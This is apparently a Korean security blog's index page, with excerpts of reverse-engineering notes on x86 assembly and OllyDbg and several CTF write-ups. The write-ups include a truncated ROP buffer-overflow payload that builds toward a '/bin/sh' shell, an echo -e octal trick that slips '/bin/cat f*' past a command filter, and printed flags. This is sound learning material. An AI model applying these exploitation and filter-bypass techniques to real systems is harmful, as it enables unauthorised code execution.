전체 글 292

[HandRay] 함수 호출 패턴, 구조체 패턴, 코드 패치

함수 호출 패턴 함수를 호출하는 쪽 : Caller호출되는 함수 : Callee 인자의 개수, 인자의 타입, 리턴 값을 보면 어떤 함수인지 찾기 쉬움. CALL 명령은 돌아가야할 주소를 stack에 push하고 함수로 jmp한다.__cdecl 함수 프롤로그PUSH EBP- 이전 EBP의 위치 기억MOV EBP, ESP- EBP를 ESP으로 옮김SUB ESP, 0C- 지역 변수의 크기 할당 함수 에필로그MOV ESP, EBP- ESP를 EBP로 옮김POP EBP- 기억했던 이전 위치를 다시 EBP로 옮김RETN- 돌아가야할 주소로 jmp 구조체 패턴 멤버들이 연속적으로 할당됨. 코드 패치 어셈블리어 영역, Data 영역을 변조하는 것이 가능하다.Code 영역 변경하는 방법어셈블리 영역을 클릭하고 space..

[HandRay] Main 함수 parameter, pointer 패턴

Main Func Argumentsint argc, char *argv[], char *envp[] argc - main 함수에 전달되는 인자의 개수argv - 넣은 문자열의 포인터 배열envp - 환경 변수 보통 3개의 인자를 넣고 호출하면 main 함수라는 것을 유추할 수 있음. 실행하면 이런 결과가 출력. OllyDBG에서 main 함수 인자를 전달하려면 Debug -> Arguments에 갑 입력. Pointer Compiled code Pattern LEA : Source Operand의 주솟값을 Destination에 저장하라는 의미.포인터 변수를 사용할 때 주로 사용되는 Assembly 명령어임.레지스터에 대괄호가 쳐져 있으면 주소를 간접 참조한 값을 의미함. AND : 두 개의 Operan..

[HandRay] OllyDbg 사용법과 Data Expression

Window XP를 쓰는 이유 : ASLR이 없기 때문임. Assembly : 기계어와 1대 1 대응. 프로그래밍 언어 중 가장 기계어와 가까움 (저급 언어) OllyDbgcode 영역 : 코드가 기계어와 어셈블리 명령으로 보임.Register 영역 : Register를 볼 수 있음.Dump 영역 : 메모리를 볼 수 있음.Stack 영역 : 현재 Stack 메모리의 값을 확인할 수 있음. ;(세미콜론) : 주석을 달 수 있음.F8 : Step Over 한 줄씩 내려가지만 함수를 다 돌리고 넘어감..F7 : Step Into 한 줄씩 내려가지만 함수 안으로 진입함.원하는 위치 클릭 + F4 : 원하는 위치로 한 번에 이동.F2 : Break Point 설정 / 해제.F9 : 쭉 실행하다가 Break Poi..

[HandRay] 핸드레이와 레지스터

프로그램의 제작 원리.c -> [compile] -> .obj -> [link] -> .exe 디컴파일 : .exe -> .c 실행 파일을 디버거로 돌려서 소스코드로 복원하는 것.핸드레이 : 디컴파일을 손으로 하는 것. ALU. 연산 장치. 전기적인 신호를 흘려보내서 연산을 진행하는 회로.I/O Unit. 모니터, 키보드 등 외부적인 부분과 통신을 위한 회로. 회로를 버스라고 부름.Register. CPU의 임시 변수. 매우 빠름.Control Unit. 현재 PC 상태, 다음에 어떤 연산을 해야할지. 연산의 결과를 알 수 있음. General Purpose Register (범용 레지스터) : 고루고루 쓰이는 레지스터.EAX : 연산의 결과를 저장, AX (16bit), AH(8bit), AL(8bit..

[Plaid CTF 2013] ropasaurusrex

[plaidCTF-2013 ropasaurusrex] 32bit binary이고 NX가 걸려있습니다. main 함수에서는 어떤 함수를 호출하고 WIN을 출력합니다. 함수를 따라 들어가보면, bp-0x88에 위치한 buf에 read 함수로 0x100만큼 입력을 받아 BOF가 발생합니다. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 payload = "" payload += "A"*(0x88 + 0x4) payload += p32(read_plt) payload += p32(pppr) payload += p32(0) #stdin payload += p32(e.bss()) payload += p32(8) #len(/bin/sh) payload..

System&Write up/CTF 2018.01.03

[pwnable.kr] Toddler's Bottle - coin1

[pwnable.kr] Toddler’s Bottle – coin1 N개의 동전 중 1개의 위조 동전이 껴 있는데, C번의 기회 안에 위조 동전을 알아내야합니다. 처음에는 한 번만 맞추면 되는 줄 알았습니다. 그래서 수작업을 시도했다가 교육 한 번 당했으니, 코드를 짜도록 하겠습니다. 일단 2000명의 관람객 중 도둑이 보석을 도둑질하고 다른 색깔의 보석을 끼워 넣었다. 적어도 몇 번 “보석은 무슨 색이었습니까?”를 물어봐야 찾을 수 있나? 라는 문제와 비슷한 것 같습니다. 이진 탐색은 정렬되어 있어야 하고, 시간 복잡도가 log N입니다. 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505..

[pwnable.kr] Toddler's Bottle - cmd2

[pwnable.kr] Toddler’s Bottle – cmd2 cmd1처럼 환경 변수를 사용하지 못 합니다. flag 문자열은 와일드 카드 *을 이용해서 우회하면 되지만, PATH를 바꿔 놓고, /도 필터링합니다. ‘ /bin/cat f* ’ 이렇게 전달해주고 싶은데, 어떤 방법으로 /를 우회해서 전달할 수 있을까요? echo 명령어의 옵션 중 –e는 이스케이프 문자를 사용할 수 있게 해줍니다.ex) echo –e “\a” -> 경고음 소리 출력 echo –e “\n” -> 개행 문자 출력 echo –e “\nnn”-> ASCII Code가 nnn(8진수)인 문자 그래서 echo –e를 사용하면 ‘ /bin/cat f* ‘를 만들 수 있을 것입니다. 문자열에서 /를 없앴습니다. 이렇게 ‘ /bin/c..

Linux 환경 변수 '?'

쉘의 환경 변수 '?'를 알아보도록 하겠습니다. '?'라는 환경 변수는 바로 전 프로그램의 return 값을 가지고 있습니다. 보시면 어떤 정수를 return 해주는 함수를 만들었습니다.그리고 호출할 때마다 '?' 환경 변수의 값이 계속 달라지는 것을 볼 수 있는데요.('?' 환경 변수의 값을 출력하고 싶으면, echo $? 라고 입력하면 됩니다.) 재미있게도, '?'는 전 프로그램의 return 값을 가진다는 것을 알 수 있습니다. sh 쉘에서도 마찬가지인 것을 볼 수 있습니다. 그렇다면 간단한 문자열을 비교하는 C 코드를 짜보도록 하겠습니다. 이 code는 문자열을 4byte(+NULL Byte) 입력 받고, strcmp로 "asdf"와 비교한 return 값을 return해 줍니다. strcmp 함..

[제 1회 Root CTF] EGG - (863 point)

ltrace로 열어서 아무 문자열이나 넣어주면, 어떤 값과 xor해서 저 문자열이랑 비교합니다. 저 문자열을 복붙해서 다시 넣으면, flag가 나옵니다. ltrace는 leviathan 문제를 겨우 분석해서 풀었는데, ltrace를 쓰면 바로 풀리는 걸 보고 얼마 전에 배웠습니다. 그 덕에 간단하게 풀 수 있었던 것 같습니다. 확인 차 넣어주면 알이 부화합니다. FLAG{An1v1a_3GGniViA_3Ni6mA}

[제 1회 Root CTF] Stage Game - (229 point)

level 1 ~ 10 시간을 늘려가면서 Sleep을 때립니다. 여기가 Y/N 받는 부분인데 밑에 일정하게 함수가 있는 걸 보니 Stage인 것 같습니다. Y를 1로 받기 때문에 1을 넣으면 밑에 Stage 함수로 갈 수 있습니다. Sleep 함수를 호출합니다. 그 전에 인자를 넣어주는데 그게 얼만큼 오래 Sleep하는지 결정하는 인자이기 때문에, 그걸 0으로 바꿔주면 바로 넘어갈 수 있습니다. 이 값을, 0으로 바꿔주면 넘어갑니다. Stage2도 마찬가지로, 0으로 바꿔주면 넘어갑니다. 8번만 더하면 됩니다.함수 밑에 바로바로 연결되어 있어서 BP 걸고 F9하면 금방 풀립니다. (F7 F8 실수 계속해서 푸는데 30분 걸렸다… 알고도 당하는 Stage..) FLAG{Y0ur_p4t1enc3_1s_gr3..

반응형